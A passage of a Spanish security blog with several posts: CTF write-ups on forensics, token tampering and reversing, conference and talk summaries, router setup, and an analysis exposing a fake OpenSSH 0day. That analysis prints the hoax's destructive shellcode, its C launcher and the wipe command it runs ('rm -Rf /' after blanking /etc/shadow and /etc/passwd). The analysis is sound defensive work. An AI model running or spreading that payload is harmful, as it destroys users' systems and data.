Y aparecen tres particiones, una XFS, una EXT2 y una FAT32. Haciendo uso de los dispositivos de loop las vamos montando una a una. Por ejemplo:
losetup -o 44040192 /dev/loop2 /dev/mapper/volume1
donde indicamos el offset de la partición, el dispositivo de loop a utilizar y el volumen de disco. Este caso concreto es el de la tercera partición (tras buscar en la primera y la segunda no encontramos el flag).
Y al montar la tercera nos aparece un fichero que se llama «flag.txt». Quedaba un minuto para que se acabase el CTF y con toda el ansia procedemos a abrir el fichero para encontrarnos un «It’s inside this partition, but hidden ;)». Agggggggghhhh xD
Bien, después de analizar la partición con el autopsy, no vimos nada relevante en cuanto a ficheros borrados. Utilizando el comando testdisk vemos que en el mismo volumen hay una partición NTFS borrada previamente.
La extraemos del siguiente modo:
dd if=/dev/loop2 of=ntfs2 skip=69632 count=34816
la montamos y vemos que hay un «readme.txt». Abrimos y…. «You are very near, but it’s even more hidden!». Mekagüen!! esta gente está loca! ;***, jajaja
De nuevo autopsy, esta vez sobre la partición NTFS y encontramos esto:
Un fichero flag.txt borrado (que no contiene el flag) pero con un Alternate Data Stream que contiene esa secuencia codificada en ROT13. La decodificamos y voilà, ahora sí tenemos flag «NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e» (pero el CTF ya ha acabado xD).
Pues parece que si que había que «Dig deeper» para encontrar la bandera ;).
Genial la prueba, muy muy currada. Gracias de nuevo staff de las NcN!! 🙂
acONOnado con el nuevo servicio de Wi-Fi gratis de ONO
Andaba yo tranquilamente viendo la televisión un rato, cuando veo un fantástico anuncio de la compañía ONO en la televisión en la que se ofrece a los clientes móviles acceso a Internet de alta velocidad mediante Wi-Fi. Rápidamente caí en la cuenta de que esta misma semana (que estaba experimentando problemas con la Wi-Fi de mi casa) había visto una red Wi-Fi rara: «_AUTO_ONOWiFi», y me temía lo peor…
Al acceder a la página de ONO para consultar acerca del servicio me he encontrado perlas como esta:
Vaya, un servicio que pueden utilizar incluso no clientes… mmm, cómo lo ofrecerán, habrán puesto antenas por ahí? veamos más… por ejemplo las condiciones legales del servicio…
WTF! Red doméstica formada gracias a la reconfiguración de los cable módems de nuestros clientes!!!! seguro que les habrán avisado…
pues no! resulta que mi cable módem era uno de los bonitos que estaba ofreciendo este servicio por la cara, y sin avisarme previamente… desde luego que mis días como cliente de ONO están contados.
Si sois usuarios de ONO chequead que vuestro cable módem no esté publicando una Wi-Fi con el SSID mencionado antes, y si lo está y no estáis de acuerdo (yo desde luego NO cedo MI INFRAESTRUCTURA sin haber dado NINGÚN TIPO DE CONSENTIMIENTO PREVIO y SIN HABER SIDO NOTIFICADO), podéis solicitar la baja en la propia página de ONO. Yo comprobé de forma fácil que mi cable módem era un «lila» porque la intensidad de la Wi-Fi «pa la peña» esa era la misma que la de mi Wi-Fi; sin complicarme más apagué mi cable módem para ver desaparecer ambas Wi-Fi a la vez: la de mi casa y la otra de mi casa que ONO utiliza para invitar a navegar a la gente.
He ido tan rápido y malhumorado a deshabilitarlo que no me ha dado ni tiempo a pegarle un vistazo a lo que se podía hacer desde ahí…
Los muy majos además te ponen la desactivación del 2º SSID desde «Mis productos», en fin…
Después de deshabilitarlo he googleado un poco y había gente que lo advertía ya desde hace tiempo.
Espero que no os hayan dado el palo como me lo han dado a mí.
Buen fin de semana!
«Kicking around SCADA!» en RootedCON 2014
Los pasado días 6, 7 y 8 de Marzo se celebró en Madrid la V edición de las RootedCON. En ella, nuestro compañero Juan Vázquez (@_juan_vazquez_) y yo mismo (@julianvilas) tuvimos la oportunidad de presentar el resultado del trabajo de investigación sobre SCADA que llevábamos realizando los últimos meses.
La ponencia se tituló «Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!», y en ella explicamos las vulnerabilidades que encontramos en el producto Yokogawa CENTUM CS3000, un Sistema de Control Distribuido (DCS/SCADA) desplegado en más de 7.600 instalaciones a lo largo del mundo (según el fabricante), utilizado en refinerías, petroquímicas, sector energético, oil&gas, y un largo etcétera de entornos considerados infraestructuras críticas.
Se encontraron vulnerabilidades a nivel de configuración del entorno / software base, a nivel de diseño de los protocolos (ausencia de cifrado, autenticación, control de integridad, etc.), y a nivel de implementación. Estas últimas se corresponden con los advisories publicados por el fabricante y por el ICS-CERT (CVE-2014-0781, CVE-2014-0783, CVE-2014-0784), vulnerabilidades provocadas por desbordamientos de buffer en el stack y en el heap que permiten ejecución remota de código, para las cuales ya se han publicado tanto parches como pruebas de concepto (exploits) en Metasploit Framework.
También hicimos una demostración de posibles acciones de post-explotación una vez comprometido el sistema, en la que troyanizábamos las comunicaciones entre las estaciones de operación (HIS) y el controlador (FCS). Para finalizar la charla contamos también los resultados de escanear internet gracias a la colaboración de Rapid7 y su proyecto Sonar, que realiza este tipo de escaneos.
Podéis ver las slides de la charla en Slideshare, y tan pronto como la organización de RootedCON publique los vídeos actualizaremos el post.
Agradecer desde aquí a la RootedCON y a todos sus asistentes el habernos permitido pasar un tan buen momento.
Saludos!
Solución reto China – Final CTF NcN 2013
Hace unos días tuvimos la suerte de poder participar en la final del CTF de las No cON Name 2013, organizado por el Security Staff de Facebook.
La verdad, estuvo genial organizado y realmente nos divertimos mucho. ¡Felicidades Facebook & NcN staff! Enhorabuena también a los otros participantes, y en especial a los ganadores 🙂
En el concurso se publicaron un conjunto de servidores, cada uno de ellos correspondiente con un país.
Cada servidor/país podía ser una base o un flag:
- Las bases contenían retos que podían ser resueltos una vez por cada equipo.
- Los flags contenían algún tipo de vulnerabilidad que permitía a los equipos capturarlo (el flag). Los puntos se otorgaban por el tiempo que el equipo tuviese en su poder el flag. Básicamente los flags consistían en escribir en el fichero «/tmp/SCORE_POINTS» del servidor en cuestión, el nombre del equipo.
En este post os vamos a explicar como pudimos capturar el flag de China! 🙂
Al realizar un escaneo de puertos contra el servidor, éste presentaba abiertos los puertos 80 y 12345. El segundo era el utilizado por la organización para monitorizar los flags, así que procedimos a acceder al puerto 80.
Y esto era lo que nos encontramos. Lo primero que hicimos, tirar de google translate para traducir el texto en chino. Básicamente era un formulario de login. Al probar a autenticarse, daba un error en el usuario/contraseña, y las pruebas de inyección realizadas no dieron resultado.
Por lo que procedimos a examinar con más detalle las peticiones y respuestas intercambiadas. Para ir al grano, el punto interesante era el proceso de autenticación:
Y ¿qué era lo interesante de este caso?
- Un token AntiCSRF en el formulario de autenticación nos pareció un poco raro. Este tipo de tokens se utiliza en formularios que permiten hacer algún tipo de modificación
- El token AntiCSRF, tiene pinta de algo codificado (desde luego no de un hash)
Procedimos a su decodificación:
Lo que nos indicaba que era un archivo binario, nos revelaba un path con un archivo .py, nos mostraba un hash y la palabra secret. Volcamos el contenido en un fichero y ejecutamos el comando file:
python 2.7 byte-compiled
Por lo que procedimos a decompilarlo:
Básicamente lo que contenía era una asignación de una variable, siendo el path un metadato del fichero. Por lo que construimos nuestro propio python:
Generamos un fichero byte-compiled (.pyc):
Lo codificamos en base64:
Y finalmente hacemos tampering de la petición cambiando el token AntiCSRF por el que hemos generado nosotros, y voilà! habíamos capturado la bandera de China 🙂
Esperamos poder subir en los próximos días alguna solución más 🙂
Un saludo!
CTF de la No cON Name 2013 (write-up)
Buenas a todos,
después de algún tiempo sin nuevas entradas en el blog, hemos pensado que una buena forma de regresar sería publicando nuestras soluciones a los retos de la ronda clasificatoria del primer CTF que se organiza en las conferencias No cON Name, en este año 2013.
Esta ronda de clasificación ha consistido en la resolución de un juego de estilo «Jeopardy», consistente en 3 niveles. El primero de ellos relacionado con Web, el segundo con Android y el tercero con reversing de binarios.
En este post describiremos cómo solucionamos el nivel 3, en el que se entregaba un binario de tipo ELF de 64 bits. Al ejecutarlo mostraba lo siguiente:
De forma que al escribir, el programa finalizaba indicando el siguiente mensaje:
Para resolver el desafío hicimos un desensamblado del binario, y analizamos su comportamiento. En primer lugar el programa imprimía por pantalla el texto que hemos podido ver anteriormente:
A continuación entraba en un bucle de 10 iteraciones, en el que se van leyendo los caracteres introducidos por el usuario y se comparan con el contenido de la variable «facebookctf_rocks». Esta variable es un array de DWORDs, en las que el byte más significativo de cada DWORD contiene el valor que va a comparar con el carácter introducido por el usuario, y los otros 3 bytes de la DWORD son ceros.
El contenido de la variable «facebookctf_rocks» es el siguiente:
20 00 00 00
53 00 00 00
55 00 00 00
52 00 00 00
50 00 00 00
52 00 00 00
49 00 00 00
53 00 00 00
45 00 00 00
21 00 00 00
Y teniendo en cuenta lo explicado anteriormente, se corresponde con la cadena “\x20\x53\x55\x52\x50\x52\x49\x53\x45\x21”, o lo que es lo mismo » SURPRISE!» (con un espacio al principio).
Si introducimos esa cadena, el programa muestra el siguiente mensaje:
Una forma alternativa de obtener la clave (sin introducir el texto), es analizar la parte final del binario, en la que se aprecian tres caminos diferentes: que se haya presionado la tecla de salida (call seeyaaaa), que se haya introducido un carácter que no es el esperado (call game_over), o que se haya introducido la cadena esperada (call success).
Por lo que si debugueamos el programa y modificamos el EIP por la dirección de memoria donde se llama a la función «success» (0x000000000040117B), obtendremos el mismo resultado.
En breve publicaremos la solución de los otros 2 niveles 🙂
Saludos!!
Configurar Huawei HG556a de Vodafone como punto de acceso (AP)

Antes de nada disculparme porque os debo un post acerca de la configuración de un laboratorio casero, pero como apliqué bastantes cambios a la configuración que tenía estoy esperando a tener algo definitivo para contároslo ;). Para ir haciendo boca, os comento un problema que he tenido y cómo lo he solucionado:
Mi conexión a Internet es por cable (OÑO), y mi conexión vino con un «fantástico» router WiFi WebStar EPR 2320. Como veréis si hacéis algunas búsquedas por Internet, no tiene muy buena reputación. A mí, como a mucha gente, me daba problemas con la tabla de NAT (PAT), de modo que cuando abría varias pestañas del navegador que accedían a páginas con Ads (que suelen tener múltiples enlaces), el cacharro se desbordaba y la conexión a Internet dejaba de funcionar correctamente (probablemente por saturación de la tabla de traducción de red/puertos).
Más adelante os explicaré con más precisión el problema, porque la topología utilizada también contribuía en el problema (utilizaba la funcionalidad de DMZ Host) y contribuyó en la elección de la solución: poner el router en modo Bridge, dejar que gestionase el NAT un dispositivo más potente y colocar un Access Point para conectarme a la WiFi.
Simplificando, imaginaos que tenéis una conexión a Internet con un router que no tiene WiFi, y que por los motivos que sean no queréis suprimirlo. En ese caso podéis añadir un Access Point en la LAN cableada del router y así dar acceso a clientes WiFi. Pues bien, en mi caso no tenía un punto de acceso, pero sí un router WiFi de Vodafone Huawei HG556a.
En este post quiero explicaros como configurar en HG556a como Access Point, en una topología como la mencionada.
En primer lugar habréis de acceder al HG556a (en adelante AP) con privilegios de administración (encontraréis información de como hacerlo por Internet).
Después configurar la LAN del AP con el mismo direccionamiento que tenéis en vuestra red cableada (en el ejemplo 172.X.X.0/24) y, importante, deshabilitar el DHCP del AP. ¿Por qué? Pues porque sino tendréis problemas porque se pondrá a sí mismo como Default Gateway (el AP con dirección 172.X.X.2) y cuando intentemos acceder a una página con el navegador, el AP la reemplazará por una en la que muestra un error por no estar en funcionamiento el ADSL.
Después activamos como puerta de enlace el router conectado a Internet.
Y acto seguido hemos de configurar la interfaz WAN para que actúe como modo bridge, que habrá de quedar de la siguiente forma:
Para ello seguimos los pasos mostrados a continuación:
Y ya está casi todo hecho. El siguiente paso es conseguir que los usuarios que se conecten por WiFi al AP reciban una dirección IP y, para ello, vamos a utilizar el router que está conectado a Internet (que probablemente ya tenía un servidor DHCP activado). Este router habrá de responder a las solicitudes DHCP identificándose a sí mismo como el Default Gateway para los clientes WiFi (en la topología de ejemplo esto significa que el Default Gateway para los clientes WiFi habría de ser la dirección 172.X.X.1).
El problema es que el AP no hace relay de las solicitudes y respuestas DHCP entre la red cableada y la inálámbrica, y tampoco dispone de ninguna funcionalidad para activarlo.
En este punto podemos realizar el siguiente truquillo: primero descargamos el fichero de configuración del router
Lo abrimos con un editor de texto y buscamos la cadena «dhcpRelay», que por defecto tomará un valor de «0». Cambiando el valor por «1», ya tendremos la posibilidad de que el router conectado a Internet haga de servidor DHCP para los clientes WiFi conectados al AP.
Para ello subimos el fichero de configuración modificado
Y ya debería funcionar nuestro router WiFi convertido en AP!
Espero que os sea de utilidad 😉
BlackHat Europe 2011 – Resumen de Charlas (Parte III)

Buenas gente,
mi turno! 🙂
antes de nada me gustaría hacer una valoración general del evento: ha sido muy positivo, pero con muy poca presencia nacional! No sabemos si ha sido porque las Rooted CON fueron hace muy poquito, si es porque este año ya no ha sido novedad que se celebrasen en nuestro pais o simple casualidad, pero se podían contar con las manos a los paisanos 😦
También me gustaría enviar un fuerte abrazo a nuevos amigos de Argentina que tuvimos la oportunidad de conocer: Sebastian y Alfredo de Groundworks Technologies (que como ya ha comentado Pau dieron una brillante charla) y unos cuantos amigos más de Core (tenía una foto con Federico Muttis y la chica «anonymous» 😉 pero no la encuentro :P). Grandísimos!
Y ahora sí vamos a las charlas:
Día 1
[Application Dissection] The ABAP Underverse – Risky ABAP to Kernel communication and ABAP-tunneled buffer overflows / Andreas Wiegenstein
Personalmente esta charla me gustó mucho, ya que toca una temática que llevo un tiempo investigando: la seguridad en SAP. En concreto trató de vulnerabilidades en el lenguaje de programación utilizado en este sistema, conocido como ABAP.
Acerca de ABAP (Advanced Bussiness Application Programming):
- Es un lenguaje propietario, y sus especificaciones completas no están disponibles
- Es independiente de la plataforma (bytecode sobre ABAP Runtime)
- La comunicación entre sistemas SAP se realiza mediante RFC (Remote Function Call)
- El control de versiones y el sistema de transporte (entre entornos de desarrollo, QA, Producción) están integrados
- Utiliza OpenSQL para el acceso a back-end (independiente del back-end utilizado)
Cosas muy interesantes explicadas durante la charla:
- ABAP es un lenguaje susceptible a vulnerabilidades de tipo inyección SQL
- En ABAP se puede inyectar código estático y ejecutarlo posteriormente
- En ABAP se puede inyectar código dinámico y ecutarlo posteriormente (además este código se ejecuta on-the-fly y no quedan trazas)
- El código ABAP customizado puede evadir restricciones de seguridad del estándar de SAP (p.e. el sistema de autorizaciones está disponible para su uso pero no es implícito)
- ABAP es vulnerable a desbordamientos de buffer
Durante la charla se mostraron DEMOS de una inyección SQL que consultaba información en todos los mandantes, de inyección de código y de ruptura del servicio mediante la explotación de un desbordamiento de buffer.
[Keynote] Cyberwar/ Bruce Schneier
El archi-conocido Bruce Schneier nos habló de su visión y reflexiones acerca de la ciberguerra, así de cómo está afectando el creciente uso de este término en los gobiernos de las grandes potencias.
Os dejo los conceptos que más me gustaron:
- El principal problema de la ciberguerra es que es un término que no está claramente definido
- En la guerra tradicional, los gobiernos de las naciones tienen el control. La ciberguerra puede ser iniciada por ciudadanos
- Es difícil saber quién te ataca y cómo, por eso es difícil protegerse
- En la ciberguerra, el principal objetivo es controlar (por ejemplo como hace un APT), y el peor objetivo es destruir
- Las tecnologías actuales dificultan la interceptación de las comunicaciones para los gobiernos, y por tanto para las labore de inteligencia. Es más fácil pinchar un teléfono que controlar todas las comunicaciones que puedan realizarse vía Internet (p.e. Skype, el chat de Second Life, etc.)
- Un país es tan vulnerable en la ciberguerra como dependiente es del ciberespacio. Evidentemente los países más desarrollados suelen ser los más vulnerables.
Ya podéis ver el vídeo y comentar lo que queráis 😉
Black Hat Europe 2011

Este año, por segunda vez consecutiva, el evento Black Hat Europe tiene lugar en Barcelona (y Testpurposes.net estaremos allí)
El evento constará como siempre de trainings (15 y 16 de Marzo) y de briefings (17 y 18 de Marzo), que por cierto tienen muy buena pinta 🙂
Esperamos veros por allí, y si todavía no tenéis vuestra entrada, los lectores de Testpurposes.net podéis obtener un descuento de 350 euros utilizando el código de promoción TPReadersBH durante el registro.
Para los que no vengáis, no os preocupéis, os iremos poniendo al día desde aquí 😉
Buen fin de semana!
Fake 0day exploit para OpenSSH
Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).
Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:
Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.
Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:
Además de este, se han detectado otras variantes, supuestamente multiplataforma:
- http://webcache.googleusercontent.com/search?q=cache:weOhXI1CNToJ:www.iexploit.org/community/showthread.php%3Ftid%3D2205%26action%3Dnextnewest+0day+openssh+%2Bx3n0n&cd=3&hl=es&ct=clnk&gl=es&source=www.google.es
- http://webcache.googleusercontent.com/search?q=cache:L2xbOfJNKf0J:www.xtremeroot.net/ofsec/index.php%3F/topic/30419-tutnew0day-ssh-exploit-tutorial/page__pid__50706+0day+openssh+%2Bx3n0n&cd=1&hl=es&ct=clnk&gl=es&source=www.google.es
Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.
Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65" "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73" "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22" "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20" "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1" "\xcd\x80";
En realidad del supuesto exploit, el único código relevante es el siguiente:
int main(int argc, char *argv[]) { int uid = getuid(); int port = 22, sock; struct hostent *host; struct sockaddr_in addr; if(uid !=0) { fprintf(stderr, "[!!]Error: You must be root\n"); exit(1); } if(uid == 0) { printf("\t[+]Starting exploit..\n"); } if(argc != 3) usage(argv); fprintf(stderr, "[!!]Exploit failed\n"); (*(void(*)())shellcode)();
En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable «shellcode», por lo que realmente éste se ejecuta en local.
A continuación se adjunta el análisis estático de la shellcode:
seg000:00000000 seg000:00000000 ; Segment type: Pure code seg000:00000000 seg000 segment byte public 'CODE' use32 seg000:00000000 assume cs:seg000 seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:00000000 push 0Bh seg000:00000002 pop eax ; eax => system call numbre = 0xB (execve) seg000:00000003 cdq ; edx => \0 seg000:00000004 push edx seg000:00000005 push small 'c-' seg000:00000009 mov edi, esp ; edi => pointer to "-c" seg000:0000000B push 'hs/' seg000:00000010 push 'nib/' seg000:00000015 mov ebx, esp ; ebx => pointer to "/bin/sh" seg000:00000017 push edx ; push NULL seg000:00000018 call loc_56 ; push pointer to "aEchoEtcShadowE" seg000:00000018 ; --------------------------------------------------------------------------- seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0 seg000:00000056 ; --------------------------------------------------------------------------- seg000:00000056 seg000:00000056 loc_56: ; CODE XREF: seg000:00000018?p seg000:00000056 push edi ; push pointer to "-c" seg000:00000057 push ebx ; push pointer to "/bin/sh" seg000:00000058 mov ecx, esp ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"] seg000:0000005A int 80h ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL) seg000:0000005A seg000 ends seg000:0000005A seg000:0000005A seg000:0000005A end
Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:
echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /
Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.
Setting up your home LAB (parte II)
Instala el sistema
Descargamos el sistema operativo a instalar desde http://www.ubuntu.com/server/get-ubuntu/download. En esta ocasión se instalará Ubuntu Server 10.04 LTS a modo de ejemplo.
Se graba la ISO de un CD-ROM y se procede a la instalación.
- Realizar una instalación estándar (al gusto) hasta el momento del particionado del disco
- En este paso, seleccionar la opción de realizar un particionado manual, para poder realizar la instalación en RAID0.
- Crear tablas de particiones en los dos discos duros, y seleccionar la opción «Configurar RAID por software»
Videos de las No cON Name 2010
Hace poco os contábamos acerca de nuestra participación en las NcN 2010, y la gran calidad de las charlas que se dieron.
Pues ya están publicados los vídeos de las conferencias! 🙂
Podéis encontralos en la página de la asociación:
http://noconname.org/congreso.html#videos
A disfrutarlos 😉
Setting up your home LAB (parte I)
Es común que los amantes de la Seguridad Informática dediquen buenas horas en sus casas a investigar y trastear en la materia. Si estás leyendo este Blog, probablemente es que tú también eres uno de ellos ;-).
Y qué mejor para tus investigaciones caseras que tu propio mini-laboratorio? Este post pretende dar algunas ideas a la hora de montarlo.
Virtualízate
Es una opción económica y escalable para tener una infraestructura de sistemas en tu casa. Existen múltiples soluciones de virtualización (VMware, Xen, Virtualbox, etc.), pero para este ejemplo vamos a utilizar KVM.
La idea es montar un servidor de máquinas e infraestructuras de red virtuales, y además, queremos que el sistema anfitrión (host) consuma los mínimos recursos y únicamente haga de puente entre los sistemas virtuales y el hardware. A esto se le conoce como virtualización de tipo 1 y KVM es un sistema de este tipo, entre otros (p.e. VMware ESX).
No cON Name 2010
El pasado 21 de Octubre de 2010 se celebró la edición 2010 del congreso de las NcN 2010. Durante ésta tuve el placer de compartir, junto con mis compañeros Juan y Pau, el resultado de la investigación realizada sobre el SMSspoofing y sus riesgos derivados en la actualidad.
La investigación se ha llevado a cabo gracias a la colaboración y apoyo de la empresa en la que trabajo, TB·Security.
En ella hemos tenido la oportunidad de analizar el estado del arte de SMSspoofing, así como para ampliar las funcionalidades de SET (Social Engineering Toolkit) para:
- El envío de SMS mediante proveedores de envío de mensajes (spoofeables)
- La explotación de vulnerabilidades en terminales móviles
- La incorporación y creación de plantillas para mensajes SMS enviados
En posteriores entradas iremos profundizando en los detalles de la investigación realizada, compartiendo nuestras experiencias y descubrimientos. Por lo de pronto queremos haceros llegar la presentación realizada 🙂
Por último felicitar y agradecer a la asociación No cON Name por el evento, en el que personalmente me lo pasé genial. Felicitar también a los ponentes, que dieron unas charlas de lo más interesante y agradecer a TB·Security su gran apoyo y colaboración.
Hasta pronto!